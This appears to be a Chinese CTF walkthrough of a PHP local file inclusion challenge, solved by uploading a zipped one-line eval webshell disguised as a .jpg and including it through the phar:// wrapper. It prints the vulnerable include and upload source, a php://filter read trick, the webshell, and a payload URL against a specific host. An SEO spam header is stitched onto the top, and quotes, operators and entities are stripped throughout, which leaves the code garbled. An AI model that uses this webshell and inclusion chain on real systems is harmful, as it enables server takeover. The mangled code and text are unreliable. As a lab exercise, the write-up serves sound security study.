什么是跨境电商平台,网站优化公司哪家服务好,网站登录系统,单页营销网站后台一.phar协议 用于将多个 PHP 文件、类、库、资源#xff08;如图像、样式表#xff09;等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含#xff08;include#xff09;或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库#xff0c…一.phar协议 用于将多个 PHP 文件、类、库、资源如图像、样式表等打包成一个单独的文件。这个归档文件可以像其他 PHP 文件一样被包含include或执行。PHAR 归档提供了一种方便的方式来分发和安装 PHP 应用程序和库尤其是当它们包含许多文件和目录时 1.格式
将一句话木马shell.php压缩成压缩包形式(shell.zip)将压缩包后缀改为.jpg(shell.jpg)
phar://shell.jpg/shell.php2.实操
点击题目链接空白页面查看源代码发现include.php include.php的源代码有一个upload.php且告诉参数是file 访问upload是文件上传页面上传木马文件发现不行 通过php://fifter查看upload.php和include.php的源代码php伪协议
?filephp://filter/readconvert.base64-encode/resourceinclude.php发现报错分析报错原因知道它强制加后缀.php,这样图片马就上传不了?filephp://filter/readconvert.base64-encode/resourceincludebase64解码代码分析过滤了http|data|ftp|input|%00等字样还强制在后缀加.php
html
Tips: the parameter is file! :)
!-- upload.php --
/html
?php$file $_GET[file];if(isset($file)){if (preg_match(/http|data|ftp|input|%00/i, $file) || strstr($file,..) ! FALSE || strlen($file)70){echo p error! /p;}else{include($file..php);}}
?
同样方法得到upload.php
代码分析只是一个白名单过滤对文件的后缀和文件类型进行判断
form action enctypemultipart/form-data methodpost
nameuploadfile:input typefile namefile /br
input typesubmit valueupload //form?php
if(!empty($_FILES[file]))
{echo $_FILES[file];$allowedExts array(gif, jpeg, jpg, png);$temp explode(., $_FILES[file][name]);$extension end($temp);if ((($_FILES[file][type] image/gif) || ($_FILES[file][type] image/jpeg)|| ($_FILES[file][type] image/jpg) || ($_FILES[file][type] image/pjpeg)|| ($_FILES[file][type] image/x-png) || ($_FILES[file][type] image/png)) ($_FILES[file][size] 102400) in_array($extension, $allowedExts)){move_uploaded_file($_FILES[file][tmp_name], upload/ . $_FILES[file][name]);echo file upload successful!Save in: . upload/ . $_FILES[file][name];}else{echo upload failed!;}
}
?上传shell.jpg,这个文件是shell.php压缩后,将.zip后缀改为.jpg后缀shell.php内容?php eval($_POST[c]);?payload:
http://hazelshishuaige.club:8040/include.php?filephar://upload/shell.jpg/shell蚁剑连接 flag在根目录下